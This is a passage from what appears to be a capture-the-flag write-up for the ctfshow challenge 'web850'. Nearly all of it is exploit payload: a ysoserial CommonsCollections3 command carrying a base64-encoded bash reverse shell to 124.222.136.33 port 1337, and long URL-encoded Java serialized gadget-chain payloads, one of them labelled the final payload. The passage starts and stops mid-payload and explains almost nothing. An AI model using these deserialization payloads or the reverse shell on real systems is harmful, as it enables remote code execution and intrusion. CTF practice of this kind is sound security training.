3%6e%4e%70%62%32%35%56%53%55%51%42%0a%41%41%46%4b%41%51%41%4e%51%32%39%75%63%33%52%68%62%6e%52%57%59%57%78%31%5a%51%57%74%49%4a%50%7a%6b%64%33%76%50%67%45%41%42%6a%78%70%62%6d%6c%30%50%67%45%41%41%79%67%70%56%67%45%41%42%45%4e%76%5a%47%55%42%41%41%39%4d%61%57%35%6c%0a%54%6e%56%74%59%6d%56%79%56%47%46%69%62%47%55%42%41%42%4a%4d%62%32%4e%68%62%46%5a%68%63%6d%6c%68%59%6d%78%6c%56%47%46%69%62%47%55%42%41%41%52%30%61%47%6c%7a%41%51%41%54%55%33%52%31%59%6c%52%79%59%57%35%7a%62%47%56%30%55%47%46%35%0a%62%47%39%68%5a%41%45%41%44%45%6c%75%62%6d%56%79%51%32%78%68%63%33%4e%6c%63%77%45%41%4e%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%46%4e%30%0a%64%57%4a%55%63%6d%46%75%63%32%78%6c%64%46%42%68%65%57%78%76%59%57%51%37%41%51%41%4a%64%48%4a%68%62%6e%4e%6d%62%33%4a%74%41%51%42%79%4b%45%78%6a%62%32%30%76%63%33%56%75%4c%32%39%79%5a%79%39%68%63%47%46%6a%61%47%55%76%65%47%46%73%0a%59%57%34%76%61%57%35%30%5a%58%4a%75%59%57%77%76%65%48%4e%73%64%47%4d%76%52%45%39%4e%4f%31%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%0a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%79%6c%57%41%51%41%49%5a%47%39%6a%64%57%31%6c%62%6e%51%42%41%43%31%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%0a%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%68%62%47%46%75%4c%32%6c%75%64%47%56%79%62%6d%46%73%4c%33%68%7a%62%48%52%6a%4c%30%52%50%54%54%73%42%41%41%68%6f%59%57%35%6b%62%47%56%79%63%77%45%41%51%6c%74%4d%59%32%39%74%4c%33%4e%31%0a%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%0a%4f%77%45%41%43%6b%56%34%59%32%56%77%64%47%6c%76%62%6e%4d%48%41%43%63%42%41%4b%59%6f%54%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%0a%63%32%78%30%59%79%39%45%54%30%30%37%54%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%62%57%77%76%61%57%35%30%5a%58%4a%75%59%57%77%76%5a%48%52%74%4c%30%52%55%54%55%46%34%61%58%4e%4a%64%47%56%79%0a%59%58%52%76%63%6a%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%0a%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%79%6c%57%41%51%41%49%61%58%52%6c%63%6d%46%30%62%33%49%42%41%44%56%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%0a%63%6d%35%68%62%43%39%6b%64%47%30%76%52%46%52%4e%51%58%68%70%63%30%6c%30%5a%58%4a%68%64%47%39%79%4f%77%45%41%42%32%68%68%62%6d%52%73%5a%58%49%42%41%45%46%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%0a%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%77%45%41%43%6c%4e%76%64%58%4a%6a%5a%55%5a%70%0a%62%47%55%42%41%41%78%48%59%57%52%6e%5a%58%52%7a%4c%6d%70%68%64%6d%45%4d%41%41%6f%41%43%77%63%41%4b%41%45%41%4d%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%0a%64%48%4d%6b%55%33%52%31%59%6c%52%79%59%57%35%7a%62%47%56%30%55%47%46%35%62%47%39%68%5a%41%45%41%51%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%0a%62%43%39%34%63%32%78%30%59%79%39%79%64%57%35%30%61%57%31%6c%4c%30%46%69%63%33%52%79%59%57%4e%30%56%48%4a%68%62%6e%4e%73%5a%58%51%42%41%42%52%71%59%58%5a%68%4c%32%6c%76%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%57%4a%73%5a%51%45%41%0a%4f%57%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%63%32%78%30%59%79%39%55%63%6d%46%75%63%32%78%6c%64%45%56%34%59%32%56%77%64%47%6c%76%0a%62%67%45%41%48%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%42%41%41%67%38%59%32%78%70%62%6d%6c%30%50%67%45%41%45%57%70%68%64%6d%45%76%62%47%46%75%0a%5a%79%39%53%64%57%35%30%61%57%31%6c%42%77%41%71%41%51%41%4b%5a%32%56%30%55%6e%56%75%64%47%6c%74%5a%51%45%41%46%53%67%70%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%53%64%57%35%30%61%57%31%6c%4f%77%77%41%4c%41%41%74%43%67%41%72%0a%41%43%34%42%41%43%4a%75%59%79%41%78%4d%6a%51%75%4d%6a%49%79%4c%6a%45%7a%4e%69%34%7a%4d%79%41%78%4d%7a%4d%33%49%43%31%6c%49%43%39%69%61%57%34%76%63%32%67%67%43%41%41%77%41%51%41%45%5a%58%68%6c%59%77%45%41%4a%79%68%4d%61%6d%46%32%0a%59%53%39%73%59%57%35%6e%4c%31%4e%30%63%6d%6c%75%5a%7a%73%70%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%51%63%6d%39%6a%5a%58%4e%7a%4f%77%77%41%4d%67%41%7a%43%67%41%72%41%44%51%42%41%41%31%54%64%47%46%6a%61%30%31%68%63%46%52%68%0a%59%6d%78%6c%41%51%41%66%65%58%4e%76%63%32%56%79%61%57%46%73%4c%31%42%33%62%6d%56%79%4d%54%45%30%4e%7a%51%79%4d%44%45%35%4d%54%45%78%4d%54%41%35%4e%41%45%41%49%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%55%48%64%75%5a%58%49%78%0a%4d%54%51%33%4e%44%49%77%4d%54%6b%78%4d%54%45%78%4d%44%6b%30%4f%77%41%68%41%41%49%41%41%77%41%42%41%41%51%41%41%51%41%61%41%41%55%41%42%67%41%42%41%41%63%41%41%41%41%43%41%41%67%41%42%41%41%42%41%41%6f%41%43%77%41%42%41%41%77%41%0a%41%41%41%76%41%41%45%41%41%51%41%41%41%41%55%71%74%77%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%43%38%41%44%67%41%41%41%41%77%41%41%51%41%41%41%41%55%41%44%77%41%34%41%41%41%41%41%51%41%54%41%42%51%41%0a%41%67%41%4d%41%41%41%41%50%77%41%41%41%41%4d%41%41%41%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%44%51%41%44%67%41%41%41%43%41%41%41%77%41%41%41%41%45%41%44%77%41%34%41%41%41%41%41%41%41%42%41%42%55%41%0a%46%67%41%42%41%41%41%41%41%51%41%58%41%42%67%41%41%67%41%5a%41%41%41%41%42%41%41%42%41%42%6f%41%41%51%41%54%41%42%73%41%41%67%41%4d%41%41%41%41%53%51%41%41%41%41%51%41%41%41%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%0a%41%51%41%41%41%44%67%41%44%67%41%41%41%43%6f%41%42%41%41%41%41%41%45%41%44%77%41%34%41%41%41%41%41%41%41%42%41%42%55%41%46%67%41%42%41%41%41%41%41%51%41%63%41%42%30%41%41%67%41%41%41%41%45%41%48%67%41%66%41%41%4d%41%47%51%41%41%0a%41%41%51%41%41%51%41%61%41%41%67%41%4b%51%41%4c%41%41%45%41%44%41%41%41%41%43%51%41%41%77%41%43%41%41%41%41%44%36%63%41%41%77%46%4d%75%41%41%76%45%6a%47%32%41%44%56%58%73%51%41%41%41%41%45%41%4e%67%41%41%41%41%4d%41%41%51%4d%41%0a%41%67%41%67%41%41%41%41%41%67%41%68%41%42%45%41%41%41%41%4b%41%41%45%41%41%67%41%6a%41%42%41%41%43%58%56%78%41%48%34%41%47%41%41%41%41%64%54%4b%2f%72%71%2b%41%41%41%41%4d%67%41%62%43%67%41%44%41%42%55%48%41%42%63%48%41%42%67%48%0a%41%42%6b%42%41%42%42%7a%5a%58%4a%70%59%57%78%57%5a%58%4a%7a%61%57%39%75%56%55%6c%45%41%51%41%42%53%67%45%41%44%55%4e%76%62%6e%4e%30%59%57%35%30%56%6d%46%73%64%57%55%46%63%65%5a%70%37%6a%78%74%52%78%67%42%41%41%59%38%61%57%35%70%0a%64%44%34%42%41%41%4d%6f%4b%56%59%42%41%41%52%44%62%32%52%6c%41%51%41%50%54%47%6c%75%5a%55%35%31%62%57%4a%6c%63%6c%52%68%59%6d%78%6c%41%51%41%53%54%47%39%6a%59%57%78%57%59%58%4a%70%59%57%4a%73%5a%56%52%68%59%6d%78%6c%41%51%41%45%0a%64%47%68%70%63%77%45%41%41%30%5a%76%62%77%45%41%44%45%6c%75%62%6d%56%79%51%32%78%68%63%33%4e%6c%63%77%45%41%4a%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%0a%5a%58%52%7a%4a%45%5a%76%62%7a%73%42%41%41%70%54%62%33%56%79%59%32%56%47%61%57%78%6c%41%51%41%4d%52%32%46%6b%5a%32%56%30%63%79%35%71%59%58%5a%68%44%41%41%4b%41%41%73%48%41%42%6f%42%41%43%4e%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%0a%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%45%5a%76%62%77%45%41%45%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%50%59%6d%70%6c%59%33%51%42%41%42%52%71%59%58%5a%68%4c%32%6c%76%4c%31%4e%6c%0a%63%6d%6c%68%62%47%6c%36%59%57%4a%73%5a%51%45%41%48%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%41%49%51%41%43%41%41%4d%41%41%51%41%45%41%41%45%41%0a%47%67%41%46%41%41%59%41%41%51%41%48%41%41%41%41%41%67%41%49%41%41%45%41%41%51%41%4b%41%41%73%41%41%51%41%4d%41%41%41%41%4c%77%41%42%41%41%45%41%41%41%41%46%4b%72%63%41%41%62%45%41%41%41%41%43%41%41%30%41%41%41%41%47%41%41%45%41%0a%41%41%41%38%41%41%34%41%41%41%41%4d%41%41%45%41%41%41%41%46%41%41%38%41%45%67%41%41%41%41%49%41%45%77%41%41%41%41%49%41%46%41%41%52%41%41%41%41%43%67%41%42%41%41%49%41%46%67%41%51%41%41%6c%77%64%41%41%45%55%48%64%75%63%6e%42%33%0a%41%51%42%34%63%33%49%41%45%57%70%68%64%6d%45%75%62%47%46%75%5a%79%35%4a%62%6e%52%6c%5a%32%56%79%45%75%4b%67%70%50%65%42%68%7a%67%43%41%41%46%4a%41%41%56%32%59%57%78%31%5a%58%68%79%41%42%42%71%59%58%5a%68%4c%6d%78%68%62%6d%63%75%0a%54%6e%56%74%59%6d%56%79%68%71%79%56%48%51%75%55%34%49%73%43%41%41%42%34%63%41%41%41%41%41%46%34%0a

web850

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"|base64

最终payload:

ctfshow=%72%4f%30%41%42%58%4e%79%41%44%4a%7a%64%57%34%75%63%6d%56%6d%62%47%56%6a%64%43%35%68%62%6d%35%76%64%47%46%30%61%57%39%75%4c%6b%46%75%62%6d%39%30%59%58%52%70%62%32%35%4a%62%6e%5a%76%59%32%46%30%61%57%39%75%53%47%46%75%5a%47%78%6c%63%6c%58%4b%39%51%38%56%79%33%36%6c%41%67%41%43%54%41%41%4d%62%57%56%74%59%6d%56%79%56%6d%46%73%64%57%56%7a%64%41%41%50%54%47%70%68%64%6d%45%76%64%58%52%70%62%43%39%4e%59%58%41%37%54%41%41%45%64%48%6c%77%5a%58%51%41%45%55%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%51%32%78%68%63%33%4d%37%65%48%42%7a%66%51%41%41%41%41%45%41%44%57%70%68%64%6d%45%75%64%58%52%70%62%43%35%4e%59%58%42%34%63%67%41%58%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6e%4a%6c%5a%6d%78%6c%59%33%51%75%55%48%4a%76%65%48%6e%68%4a%39%6f%67%7a%42%42%44%79%77%49%41%41%55%77%41%41%57%68%30%41%43%56%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%33%4a%6c%5a%6d%78%6c%59%33%51%76%53%57%35%32%62%32%4e%68%64%47%6c%76%62%6b%68%68%62%6d%52%73%5a%58%49%37%65%48%42%7a%63%51%42%2b%41%41%42%7a%63%67%41%71%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%6a%62%32%31%74%62%32%35%7a%4c%6d%4e%76%62%47%78%6c%59%33%52%70%62%32%35%7a%4c%6d%31%68%63%43%35%4d%59%58%70%35%54%57%46%77%62%75%57%55%67%70%35%35%45%4a%51%44%41%41%46%4d%41%41%64%6d%59%57%4e%30%62%33%4a%35%64%41%41%73%54%47%39%79%5a%79%39%68%63%47%46%6a%61%47%55%76%59%32%39%74%62%57%39%75%63%79%39%6a%62%32%78%73%5a%57%4e%30%61%57%39%75%63%79%39%55%63%6d%46%75%63%32%5a%76%63%6d%31%6c%63%6a%74%34%63%48%4e%79%41%44%70%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4e%76%62%57%31%76%62%6e%4d%75%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%75%5a%6e%56%75%59%33%52%76%63%6e%4d%75%51%32%68%68%61%57%35%6c%5a%46%52%79%59%57%35%7a%5a%6d%39%79%62%57%56%79%4d%4d%65%58%37%43%68%36%6c%77%51%43%41%41%46%62%41%41%31%70%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%4a%7a%64%41%41%74%57%30%78%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%32%4e%76%62%57%31%76%62%6e%4d%76%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%76%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%49%37%65%48%42%31%63%67%41%74%57%30%78%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4e%76%62%57%31%76%62%6e%4d%75%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%75%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%49%37%76%56%59%71%38%64%67%30%47%4a%6b%43%41%41%42%34%63%41%41%41%41%41%4a%7a%63%67%41%37%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%6a%62%32%31%74%62%32%35%7a%4c%6d%4e%76%62%47%78%6c%59%33%52%70%62%32%35%7a%4c%6d%5a%31%62%6d%4e%30%62%33%4a%7a%4c%6b%4e%76%62%6e%4e%30%59%57%35%30%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%4a%59%64%70%41%52%51%51%4b%78%6c%41%49%41%41%55%77%41%43%57%6c%44%62%32%35%7a%64%47%46%75%64%48%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%54%32%4a%71%5a%57%4e%30%4f%33%68%77%64%6e%49%41%4e%32%4e%76%62%53%35%7a%64%57%34%75%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%34%59%57%78%68%62%69%35%70%62%6e%52%6c%63%6d%35%68%62%43%35%34%63%32%78%30%59%79%35%30%63%6d%46%34%4c%6c%52%79%51%56%68%47%61%57%78%30%5a%58%49%41%41%41%41%41%41%41%41%41%41%41%41%41%41%48%68%77%63%33%49%41%50%6d%39%79%5a%79%35%68%63%47%46%6a%61%47%55%75%59%32%39%74%62%57%39%75%63%79%35%6a%62%32%78%73%5a%57%4e%30%61%57%39%75%63%79%35%6d%64%57%35%6a%64%47%39%79%63%79%35%4a%62%6e%4e%30%59%57%35%30%61%57%46%30%5a%56%52%79%59%57%35%7a%5a%6d%39%79%62%57%56%79%4e%49%76%30%66%36%53%47%30%44%73%43%41%41%4a%62%41%41%56%70%51%58%4a%6e%63%33%51%41%45%31%74%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%30%39%69%61%6d%56%6a%64%44%74%62%41%41%74%70%55%47%46%79%59%57%31%55%65%58%42%6c%63%33%51%41%45%6c%74%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%30%4e%73%59%58%4e%7a%4f%33%68%77%64%58%49%41%45%31%74%4d%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6b%39%69%61%6d%56%6a%64%44%75%51%7a%6c%69%66%45%48%4d%70%62%41%49%41%41%48%68%77%41%41%41%41%41%58%4e%79%41%44%70%6a%62%32%30%75%63%33%56%75%4c%6d%39%79%5a%79%35%68%63%47%46%6a%61%47%55%75%65%47%46%73%59%57%34%75%61%57%35%30%5a%58%4a%75%59%57%77%75%65%48%4e%73%64%47%4d%75%64%48%4a%68%65%43%35%55%5a%57%31%77%62%47%46%30%5a%58%4e%4a%62%58%42%73%43%56%64%50%77%57%36%73%71%7a%4d%44%41%41%5a%4a%41%41%31%66%61%57%35%6b%5a%57%35%30%54%6e%56%74%59%6d%56%79%53%51%41%4f%58%33%52%79%59%57%35%7a%62%47%56%30%53%57%35%6b%5a%58%68%62%41%41%70%66%59%6e%6c%30%5a%57%4e%76%5a%47%56%7a%64%41%41%44%57%31%74%43%57%77%41%47%58%32%4e%73%59%58%4e%7a%63%51%42%2b%41%42%68%4d%41%41%56%66%62%6d%46%74%5a%58%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%55%33%52%79%61%57%35%6e%4f%30%77%41%45%56%39%76%64%58%52%77%64%58%52%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%64%41%41%57%54%47%70%68%64%6d%45%76%64%58%52%70%62%43%39%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%4f%33%68%77%41%41%41%41%41%50%2f%2f%2f%2f%39%31%63%67%41%44%57%31%74%43%53%2f%30%5a%46%57%64%6e%32%7a%63%43%41%41%42%34%63%41%41%41%41%41%4a%31%63%67%41%43%57%30%4b%73%38%78%66%34%42%67%68%55%34%41%49%41%41%48%68%77%41%41%41%47%2b%63%72%2b%75%72%34%41%41%41%41%79%41%44%6b%4b%41%41%4d%41%49%67%63%41%4e%77%63%41%4a%51%63%41%4a%67%45%41%45%48%4e%6c%63%6d%6c%68%62%46%5a%6c%63%6e%4e%70%62%32%35%56%53%55%51%42%41%41%46%4b%41%51%41%4e%51%32%39%75%63%33%52%68%62%6e%52%57%59%57%78%31%5a%51%57%74%49%4a%50%7a%6b%64%33%76%50%67%45%41%42%6a%78%70%62%6d%6c%30%50%67%45%41%41%79%67%70%56%67%45%41%42%45%4e%76%5a%47%55%42%41%41%39%4d%61%57%35%6c%54%6e%56%74%59%6d%56%79%56%47%46%69%62%47%55%42%41%42%4a%4d%62%32%4e%68%62%46%5a%68%63%6d%6c%68%59%6d%78%6c%56%47%46%69%62%47%55%42%41%41%52%30%61%47%6c%7a%41%51%41%54%55%33%52%31%59%6c%52%79%59%57%35%7a%62%47%56%30%55%47%46%35%62%47%39%68%5a%41%45%41%44%45%6c%75%62%6d%56%79%51%32%78%68%63%33%4e%6c%63%77%45%41%4e%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%46%4e%30%64%57%4a%55%63%6d%46%75%63%32%78%6c%64%46%42%68%65%57%78%76%59%57%51%37%41%51%41%4a%64%48%4a%68%62%6e%4e%6d%62%33%4a%74%41%51%42%79%4b%45%78%6a%62%32%30%76%63%33%56%75%4c%32%39%79%5a%79%39%68%63%47%46%6a%61%47%55%76%65%47%46%73%59%57%34%76%61%57%35%30%5a%58%4a%75%59%57%77%76%65%48%4e%73%64%47%4d%76%52%45%39%4e%4f%31%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%79%6c%57%41%51%41%49%5a%47%39%6a%64%57%31%6c%62%6e%51%42%41%43%31%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%68%62%47%46%75%4c%32%6c%75%64%47%56%79%62%6d%46%73%4c%33%68%7a%62%48%52%6a%4c%30%52%50%54%54%73%42%41%41%68%6f%59%57%35%6b%62%47%56%79%63%77%45%41%51%6c%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%77%45%41%43%6b%56%34%59%32%56%77%64%47%6c%76%62%6e%4d%48%41%43%63%42%41%4b%59%6f%54%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%63%32%78%30%59%79%39%45%54%30%30%37%54%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%62%57%77%76%61%57%35%30%5a%58%4a%75%59%57%77%76%5a%48%52%74%4c%30%52%55%54%55%46%34%61%58%4e%4a%64%47%56%79%59%58%52%76%63%6a%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%79%6c%57%41%51%41%49%61%58%52%6c%63%6d%46%30%62%33%49%42%41%44%56%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%6b%64%47%30%76%52%46%52%4e%51%58%68%70%63%30%6c%30%5a%58%4a%68%64%47%39%79%4f%77%45%41%42%32%68%68%62%6d%52%73%5a%58%49%42%41%45%46%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%77%45%41%43%6c%4e%76%64%58%4a%6a%5a%55%5a%70%62%47%55%42%41%41%78%48%59%57%52%6e%5a%58%52%7a%4c%6d%70%68%64%6d%45%4d%41%41%6f%41%43%77%63%41%4b%41%45%41%4d%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%6b%55%33%52%31%59%6c%52%79%59%57%35%7a%62%47%56%30%55%47%46%35%62%47%39%68%5a%41%45%41%51%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%63%32%78%30%59%79%39%79%64%57%35%30%61%57%31%6c%4c%30%46%69%63%33%52%79%59%57%4e%30%56%48%4a%68%62%6e%4e%73%5a%58%51%42%41%42%52%71%59%58%5a%68%4c%32%6c%76%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%57%4a%73%5a%51%45%41%4f%57%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%63%32%78%30%59%79%39%55%63%6d%46%75%63%32%78%6c%64%45%56%34%59%32%56%77%64%47%6c%76%62%67%45%41%48%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%42%41%41%67%38%59%32%78%70%62%6d%6c%30%50%67%45%41%45%57%70%68%64%6d%45%76%62%47%46%75%5a%79%39%53%64%57%35%30%61%57%31%6c%42%77%41%71%41%51%41%4b%5a%32%56%30%55%6e%56%75%64%47%6c%74%5a%51%45%41%46%53%67%70%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%53%64%57%35%30%61%57%31%6c%4f%77%77%41%4c%41%41%74%43%67%41%72%41%43%34%42%41%47%46%69%59%58%4e%6f%49%43%31%6a%49%48%74%6c%59%32%68%76%4c%46%6c%74%52%6e%70%68%51%30%46%30%59%56%4e%42%4b%30%70%70%51%58%5a%61%52%31%59%79%54%44%4e%53%61%6d%4e%44%4f%48%68%4e%61%6c%46%31%54%57%70%4a%65%55%78%71%52%58%70%4f%61%54%52%36%54%58%6b%34%65%45%31%36%54%54%4e%4a%52%45%45%72%53%6d%70%46%50%58%31%38%65%32%4a%68%63%32%55%32%4e%43%77%74%5a%48%31%38%65%32%4a%68%63%32%67%73%4c%57%6c%39%43%41%41%77%41%51%41%45%5a%58%68%6c%59%77%45%41%4a%79%68%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%31%4e%30%63%6d%6c%75%5a%7a%73%70%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%51%63%6d%39%6a%5a%58%4e%7a%4f%77%77%41%4d%67%41%7a%43%67%41%72%41%44%51%42%41%41%31%54%64%47%46%6a%61%30%31%68%63%46%52%68%59%6d%78%6c%41%51%41%66%65%58%4e%76%63%32%56%79%61%57%46%73%4c%31%42%33%62%6d%56%79%4d%54%45%30%4e%44%63%78%4d%6a%51%35%4d%7a%41%32%4d%54%45%34%4d%67%45%41%49%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%55%48%64%75%5a%58%49%78%4d%54%51%30%4e%7a%45%79%4e%44%6b%7a%4d%44%59%78%4d%54%67%79%4f%77%41%68%41%41%49%41%41%77%41%42%41%41%51%41%41%51%41%61%41%41%55%41%42%67%41%42%41%41%63%41%41%41%41%43%41%41%67%41%42%41%41%42%41%41%6f%41%43%77%41%42%41%41%77%41%41%41%41%76%41%41%45%41%41%51%41%41%41%41%55%71%74%77%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%43%38%41%44%67%41%41%41%41%77%41%41%51%41%41%41%41%55%41%44%77%41%34%41%41%41%41%41%51%41%54%41%42%51%41%41%67%41%4d%41%41%41%41%50%77%41%41%41%41%4d%41%41%41%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%44%51%41%44%67%41%41%41%43%41%41%41%77%41%41%41%41%45%41%44%77%41%34%41%41%41%41%41%41%41%42%41%42%55%41%46%67%41%42%41%